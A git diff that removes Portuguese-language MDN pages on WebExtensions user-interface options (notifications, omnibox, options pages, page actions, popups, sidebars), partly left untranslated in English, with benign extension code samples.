-<p>To use the history API, you must request the "history" <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permission</a> in your <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a></code> file.</p>
-
-<h2 id="Desenho_da_página_da_Web">Desenho da página da Web</h2>
-
-<p>For details on how to design your web page's to match the style of Firefox, see the <a class="grey-90 no-underline hover-no-underline" href="https://design.firefox.com/photon/index.html">Photon Design System</a> documentation.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a class="external external-icon" href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repository on GitHub includes the <a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/window-manipulator">window-manipulator</a> example, which implements several of the options for creating windows.</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html
deleted file mode 100644
index b18f1afd85..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Interface do utilizador
-slug: Mozilla/Add-ons/WebExtensions/user_interface
-tags:
- - Interface do Utilizador
- - Landing
- - WebExtensions
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador
----
-<div>{{AddonSidebar}}</div>
-
-<p>As extensões que utilizam as APIs de WebExtension são fornecidas com várias opções de interface do utilizador, e assim, as suas funcionalidades podem ficar disponíveis para o utilizador. Um resumo dessas opções é fornecido abaixo, com uma introdução mais detalhada para cada opção da interface do utilziador nesta secção .</p>
-
-<div class="note">
-<p>For advice on using these UI components to create a great user experience in your extension, please see the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User experience best practices</a> article.</p>
-</div>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Opção de UI</th>
- <th scope="col">Descrição</th>
- <th scope="col" style="width: 350px;">Exemplo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Browser toolbar button</a></td>
- <td>A button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.</td>
- <td><img alt="Example of a WebExtension toolbar button" src="https://mdn.mozillademos.org/files/12966/browser-action.png" style="height: 99px; width: 350px;"></td>
- </tr>
- <tr>
- <td>Browser toolbar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
- <td>A popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.</td>
- <td><img alt="Example of a WebExtension toolbar button with a popup" src="https://mdn.mozillademos.org/files/14039/popup-shadow.png" style="height: 156px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a></td>
- <td>A button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.</td>
- <td><img alt="Example showing an address bar button (page action)" src="https://mdn.mozillademos.org/files/15047/address_bar_button.png" style="height: 127px; width: 350px;"></td>
- </tr>
- <tr>
- <td>Address bar button with a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popup</a></td>
- <td>A popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.</td>
- <td><img alt="Example of a popup on the address bar button" src="https://mdn.mozillademos.org/files/15053/page_action_popup.png" style="height: 250px; width: 330px;"></td>
- </tr>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu items</a></td>
- <td>Menu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.</td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/15051/context_menu_example.png" style="height: 359px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebar</a></td>
- <td>
- <p dir="ltr">An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.</p>
- </td>
- <td><img alt="Example of a WebExtension's sidebar" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="height: 209px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></td>
- <td>A page that enables you to define preferences for your extension that your users can change. The user can access this page in the from the browser's add-ons manager.</td>
- <td><img alt="Example showing the options page content added in the favorite colors example." src="https://mdn.mozillademos.org/files/15055/options_page.png" style="height: 259px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Bundled_web_pages">Bundled web pages</a></td>
- <td>Use web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.</td>
- <td><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15063/bundled_page_as_panel_small.png" style="height: 180px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notifications</a></td>
- <td>Transient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).</td>
- <td><img alt="Example notification from a WebExtension" src="https://mdn.mozillademos.org/files/14043/notify-shadowed.png" style="height: 95px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestions</a></td>
- <td>Offer custom address bar suggestions when the user enters a keyword.</td>
- <td><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15059/omnibox_example_small.png" style="height: 242px; width: 350px;"></td>
- </tr>
- <tr>
- <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panels</a></td>
- <td>A tab with an associated HTML document that displays in the browser's developer tools.</td>
- <td><img alt="New panel tab in the Developer Tools tab bar" src="https://mdn.mozillademos.org/files/15049/developer_panel_tab.png" style="height: 180px; width: 350px;"></td>
- </tr>
- </tbody>
-</table>
-
-<p>The following how-to guides provide step-by-step guidance to creating some of these user interface options:</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a></li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html
deleted file mode 100644
index 8c8c113425..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Notificações
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Notifications
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Notifications
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes
----
-<div>{{AddonSidebar}}</div>
-
-<div>
-<p>As notificações permitem-lhe comunicar a informação sobre a sua extensão ou o seu conteúdo utilizando o serviço de notificação do sistema operativo subjacente:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14043/notify-shadowed.png" style="display: block; height: 334px; margin-left: auto; margin-right: auto; width: 700px;"></p>
-
-<p>As notificações podem incluir uma chamada para ação para o utilizador, e o seu extra pode escutar o utilizador a clicar na notificação ou a notificação a fechar.</p>
-
-<h2 id="Especificar_as_notificações">Especificar as notificações</h2>
-
-<p>Pode gerir as notificações programaticamente, utilizando a API {{WebExtAPIRef("notifications")}}. Para utilizar esta API deve solicitar a permissão de <em><code>notifications</code></em> no seu manifest.json:</p>
-
-<pre class="brush: json"><span class="pl-s"><span class="pl-pds">"</span>permissions<span class="pl-pds">"</span></span>: [<span class="pl-s"><span class="pl-pds">"</span>notifications<span class="pl-pds">"</span></span>]</pre>
-
-<p>Depois, pode utilziar {{WebExtAPIRef("notifications.create")}} para criar as suas notificações, como neste exemplo de <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n:</a></p>
-
-<pre class="brush: js">var title = browser.i18n.getMessage("notificationTitle");
-var content = browser.i18n.getMessage("notificationContent", message.url);
-browser.notifications.create({
- "type": "basic",
- "iconUrl": browser.extension.getURL("icons/link-48.png"),
- "title": title,
- "message": content
-});</pre>
-
-<p>Este código cria uma notificação com um ícone, título, e mensagem.</p>
-
-<p>Se a notificação incluir uma chamada para ação, pode escutar o utilizador a clicar na notificação para chamar a ação para manipular a ação:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js">browser<span class="punctuation token">.</span>notifications<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span>
-</code></pre>
-
-<p>Se estiver a enviar chamadas para ação através das notificações, também irá querer definir a notificação opcional <code>id</code>, e assim, pode saber qual a chamada para ação que o utilizador selecionou.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>O repositório dos <a href="https://github.com/mdn/webextensions-examples">exemplos da extensões da Web</a> no GitHub, contém vários exemplos das extensões que utilizam <em>creates notifications</em>:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> utiliza <em>creates notifications</em>.</li>
-</ul>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html
deleted file mode 100644
index 2470a05c32..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: Sugestões da barra de endereço
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Omnibox
-tags:
- - Extensões da Web
- - Interface do Utilizador
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Omnibox
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox
----
-<div>{{AddonSidebar()}}</div>
-
-<p>Using the {{WebExtAPIRef("omnibox")}} API, extensions can customize the suggestions offered in the browser address bar's drop-down when the user enters a keyword.</p>
-
-<p><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15749/omnibox_example_small.png" style="display: block; height: 232px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>This enables your extension to, for example, search a library of free ebooks or, as in the example above, a repository of code examples.</p>
-
-<h2 id="Especificando_a_personalização_de_omnibox">Especificando a personalização de omnibox</h2>
-
-<p>You tell your extension that it is going to customize the address bar suggestions by including the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/omnibox">omnibox</a> key and definition of the trigger keyword in its <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> file:</p>
-
-<pre class="brush: json line-numbers language-json"> "omnibox": { "keyword" : "cs" }</pre>
-
-<p>In the extension's background JavaScript file, using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, you can optionally define the first suggestion to be displayed in the address bar drop-down. Use this to provide a hint on how to use the feature:</p>
-
-<pre class="brush: js line-numbers language-js">browser.omnibox.setDefaultSuggestion({
- description: `Search the firefox codebase
- (e.g. "hello world" | "path:omnibox.js onInputChanged")`
-});</pre>
-
-<p>You can then add the code to provide the customized content by listening for {{WebExtAPIRef("omnibox.onInputStarted")}}, which is dispatched when the user has typed the keyword and a space, and {{WebExtAPIRef("omnibox.onInputChanged")}}, which is dispatched whenever the user updates the address bar entry. You can then populate the suggestions, in this case building a search of https://searchfox.org/mozilla-central using the term entered by the user:</p>
-
-<pre class="brush: js">browser.omnibox.onInputChanged.addListener((text, addSuggestions) =&gt; {
- let headers = new Headers({"Accept": "application/json"});
- let init = {method: 'GET', headers};
- let url = buildSearchURL(text);
- let request = new Request(url, init);
-
- fetch(request)
- .then(createSuggestionsFromResponse)
- .then(addSuggestions);
-});</pre>
-
-<p>If the extension set a default suggestion using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, then this will appear first in the drop-down.</p>
-
-<p>The extension can then listen for the user clicking one of the suggestions, using {{WebExtAPIRef("omnibox.onInputEntered")}}. If the default suggestion is clicked the user's custom term is returned, otherwise the suggestion's string is returned. This also passes information on the user's browser preferences for handling new links. In the code below the user's custom term is used to create a search, otherwise the suggested URL is opened:</p>
-
-<pre class="brush: js">browser.omnibox.onInputEntered.addListener((text, disposition) =&gt; {
- let url = text;
- if (!text.startsWith(SOURCE_URL)) {
- // Update the url if the user clicks on the default suggestion.
- url = `${SEARCH_URL}?q=${text}`;
- }
- switch (disposition) {
- case "currentTab":
- browser.tabs.update({url});
- break;
- case "newForegroundTab":
- browser.tabs.create({url});
- break;
- case "newBackgroundTab":
- browser.tabs.create({url, active: false});
- break;
- }
-});</pre>
-
-<p> </p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>O repositório dos <a href="https://github.com/mdn/webextensions-examples">exemplos das extensões da Web</a> no GitHub inclui o exemplo <a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/firefox-code-search">firefox-code-search</a> que personaliza a barra de pesquisa.</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html
deleted file mode 100644
index d3a560412f..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Página de opções
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Options_pages
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Options_pages
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Options_pages
----
-<div>{{AddonSidebar}}</div>
-
-<div>
-<p>Uma página de <strong>Opções</strong> permite-lhe definir as preferências para sua extensão que os seus utilizadores podem alterar. Os utilizadores podem aceder á página das opções para uma extensão a partir do do gestor de extras do navegador:</p>
-
-<p>{{EmbedYouTube("02oXAcbUv-s")}}</p>
-
-<p>The way users access the page, and the way it's integrated into the browser's user interface, will vary from one browser to another.</p>
-
-<ul>
-</ul>
-
-<p>You can open the page programmatically by calling <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/Runtime/openOptionsPage" title="If your add-on does not have an options page, or the browser failed to create one for some other reason, runtime.lastError will be set."><code>runtime.openOptionsPage()</code></a>.</p>
-
-<p>Options pages have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>. See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a> for more details.</p>
-
-<h2 id="Especificar_a_página_de_opções">Especificar a página de opções</h2>
-
-<p>To create an options page, write an HTML file defining the page. This page can include CSS and JavaScript files, like a normal web page. This page, from the <a href="https://github.com/mdn/webextensions-examples/tree/master/favourite-colour">favourite-colour</a> example, includes a JavaScript file:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;/head&gt;
-
-&lt;body&gt;
- &lt;form&gt;
- &lt;label&gt;Favourite colour&lt;/label&gt;
- &lt;input type="text" id="colour" &gt;
- &lt;button type="submit"&gt;Save&lt;/button&gt;
- &lt;/form&gt;
- &lt;script src="options.js"&gt;&lt;/script&gt;
-&lt;/body&gt;
-
-&lt;/html&gt;</pre>
-
-<p>JavaScript em execução na página pode utilizar a <a href="/pt-PT/Add-ons/WebExtensions/API">API das Extensões da Web</a> que o extra tem <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissões</a> para. Em particular, pode utilziar a APi de <a href="/pt-PT/Add-ons/WebExtensions/API/Armazenamento" title="Enables WebExtensions to store and retrieve data, and listen for changes to stored items."><code>armazenamento</code></a> para manter as preferências.</p>
-
-<p>Package the page's files in your extension.</p>
-
-<p>You also need to include the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></code> key in your manifest.json file, giving it the URL to the page.</p>
-
-<pre class="brush: json">"options_ui": {
- "page": "options.html",
- "browser_style": true
-},</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo on GitHub, contains several examples of extensions that use an options page:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/favourite-colour">favourite-colour</a> example extension with options page</li>
-</ul>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html
deleted file mode 100644
index 57407bc175..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Botão da barra de endereço
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
-tags:
- - Extensões da Web
- - Interface do Utilizador
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina
----
-<div>{{AddonSidebar}}</div>
-
-<p>Normalmente referido como uma <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">ação da página</a>, esta opção da inteface do utilizador é um botão adicionado à barra de endereço do navegador. Os utilziadores clicam no botão para interagir com a sua extensão.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12960/page-action.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 850px;"></p>
-
-<p>Use this button when a feature is only relevant for some web pages. By default, the address bar button is hidden in all browser tabs, and you call <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/PageAction/show" title="Shows the page action for a given tab. The page action is shown whenever the given tab is the active tab."><code>pageAction.show()</code></a> and <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/PageAction/hide" title="Hides the page action for a given tab."><code>pageAction.hide()</code></a> to show or hide it in specific tabs.</p>
-
-<p>Compare to the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">toolbar button</a>, which offers similar behavior but is used in situations where the extension's features are applicable to almost every web page.</p>
-
-<h2 id="Especificar_a_ação_da_página">Especificar a ação da página</h2>
-
-<p>You define the page action's properties using the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> key in manifest.json:</p>
-
-<pre class="brush: json line-numbers language-json"><code class="language-json"><span class="key token">"page_action":</span> <span class="punctuation token">{</span>
- <span class="key token">"browser_style":</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
- <span class="key token">"default_icon":</span> <span class="punctuation token">{</span>
- <span class="key token">"19":</span> <span class="string token">"button/geo-19.png"</span><span class="punctuation token">,</span>
- <span class="key token">"38":</span> <span class="string token">"button/geo-38.png"</span>
- <span class="punctuation token">}</span><span class="punctuation token">,</span>
- <span class="key token">"default_title":</span> <span class="string token">"Whereami?"</span>
-<span class="punctuation token">}</span></code></pre>
-
-<p>The only mandatory key is <code>default_icon</code>.</p>
-
-<p>There are two ways to specify a page action: with or without a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a>. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>pageAction.onClicked</code></a>:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js">browser<span class="punctuation token">.</span>pageAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
-
-<p>If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Popups">Popup </a>article for more details on creating and managing popups.</p>
-
-<p>Note that your extension can have one page action only.</p>
-
-<p>You can change any of the page action properties programmatically using the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></code> API.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo on GitHub, contains several examples of extensions that use page action:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/chill-out">chill-out</a> uses a page action without a popup.</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html
deleted file mode 100644
index 7d7c1d469e..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Janelas (Popups)
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Popups
-tags:
- - Extensions
- - IU
- - Interface do Utilizador
- - Janela
- - popup
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Popups
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Popups
----
-<div>{{AddonSidebar}}</div>
-
-<div>
-<p>Uma janela (<em>popup)</em> é uma janela que está associada com um <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador">botão da barra de ferramentas</a> ou <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina">botão da barra de endereço</a>.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15747/page_action_popup.png" style="display: block; height: 282px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>Quando o usuário clica no botão, a janela popup é exibida. Quando o usuário clica em qualquer lugar fora do popup, ele é fechado. O popup pode ser fechado via programação usando a função <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/close">window.close()</a></code> em um script sendo executado no popup. Entretanto, você não pode abrir o popup via programação a partir do código JavaScript da extensão: ele somente se abre em resposta a uma ação do usuário.</p>
-
-<p>Você pode definir um atalho de teclado que abre o popup usando <code>"_execute_browser_action"</code> and <code>"_execute_page_action"</code>. Veja a documentação da chave <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/commands">commands</a></code><span class="hidden">      </span> no manifest.json.</p>
-
-<h2 id="Especificar_uma_janela">Especificar uma janela</h2>
-
-<p>O popup é definido por um arquivo HTML, que pode incluir arquivos CSS e JavaScript, como uma página comum. Diferentemente de uma página comum, o código JavaScript pode usar todos os <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/API">WebExtension APIs</a> que a extensão tem <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a> .</p>
-
-<p>O documento do popup é carregado toda vez que ele é exibido, e descarregado quando o popup é fechado.</p>
-
-<p>O arquivo HTML é incluído na extensão e especificado como parte do  <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> ou chave <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a> por <code>"default_popup"</code> no arquivo manifest.json:</p>
-
-<pre class="brush: json"> "browser_action": {
- "default_icon": "icons/beasts-32.png",
- "default_title": "Beastify",
- "default_popup": "popup/choose_beast.html"
- }</pre>
-
-<p>You can ask the browser to include a stylesheet in your popup that will make it look consistent with the browser's UI. To do this, include <code>"browser_style": true</code> in the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> or <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a> key.</p>
-
-<p>Popups have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>. See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a> for more details on this.</p>
-
-<h2 id="Depurar_janelas">Depurar janelas</h2>
-
-<p>You can debug a popup's markup and JavaScript using the Add-on Debugger, but you'll need to turn on the Disable popup auto hide feature to prevent popups from hiding when you click outside them.<a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Debugging#Debugging_popups"> Read about debugging popups</a>.</p>
-
-<h2 id="Redimensionar_janelas">Redimensionar janelas</h2>
-
-<p>Popups resize automatically to fit their content. The algorithm for this may differ from one browser to another.</p>
-
-<p>In Firefox, the size is calculated just before the popup is shown, and at most 10 times per second after DOM mutations. For strict mode documents, the size is calculated based on the layout size of the <code><a href="/en-US/docs/Web/HTML/Element/body">&lt;body&gt;</a></code> element. For quirks mode, it's the <code><a href="/en-US/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> element. Firefox calculates the preferred width of the contents of that element, reflows it to that width, and then resizes so there's no vertical scrolling. It will grow to a size of <strong>800x600 pixels</strong> at most if that fits on the user's screen. If the user <a href="https://support.mozilla.org/en-US/kb/customize-firefox-controls-buttons-and-toolbars#w_customize-the-menu-or-the-toolbar">moves the extension's button to the menu</a> or it appears in the toolbar overflow, then the popup appears inside the menu's panel and is given a fixed width.</p>
-
-<p>No Firefox Android 57, <em>popup </em>é mostrada como uma página normal num novo separador.</p>
-
-<h2 id="Desenho_de_janela">Desenho de janela</h2>
-
-<p>Para obter detalhes sobre como desenhar a sua janela (popup) da página da Web para combinar com o estilo do Firefox, consulte a documentação <a class="grey-90 no-underline hover-no-underline" href="https://design.firefox.com/photon/index.html">Photon Design System</a>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a>  repository on GitHub includes the <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">beastify</a> example which implements a browser action with a popup.</p>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html
deleted file mode 100644
index 02509b9229..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Barras laterais
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais
----
-<div>{{AddonSidebar}}</div>
-
-<div>
-<p> </p>
-
-<p>Uma barra lateral é um painel que é exibido no lado esquerdo da janela do navegador, ao lado da página da Web. O navegador fornece uma IU que permite ao utilizador ver as barras laterais atualmente disponíveis e selecionar uma barra lateral para exibir. Por exemplo, o Firefox tem um menu 'Ver -&gt; Barra lateral'. Apenas pode ser exibida uma barra lateral de cada vez, e essa barra lateral será exibida para todos os separadores e todas as janelas do navegador.</p>
-
-<p>O navegador poderá incluir uma série de barras laterais integradas. Por exemplo, o Firefox inclui uma barra lateral para interagir com marcadores:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;">Using the <code>sidebar_action</code> manifest.json key, an extension can add its own sidebar to the browser. It will be listed alongside the built-in sidebars, and the user will be able to open it using the same mechanism as for the built-in sidebars.</p>
-
-<p>Like a browser action popup, you specify the sidebar's contents as an HTML document. When the user opens the sidebar, its document is loaded into every open browser window. Each window gets its own instance of the document. When new windows are opened, they get their own sidebar documents as well.</p>
-
-<p>You can set a document for a particular tab using the {{WebExtAPIRef("sidebarAction.setPanel()")}} function. A sidebar can figure out which window it belongs to using the {{WebExtAPIRef("windows.getCurrent()")}} API:</p>
-
-<pre class="brush: js">// sidebar.js
-browser.windows.getCurrent({populate: true}).then((windowInfo) =&gt; {
- myWindowId = windowInfo.id;
-});</pre>
-
-<p>This is useful if a sidebar wants to display different content for different windows. For an example of this, see the <a href="https://github.com/mdn/webextensions-examples/tree/master/annotate-page">"annotate-page" example</a>.</p>
-
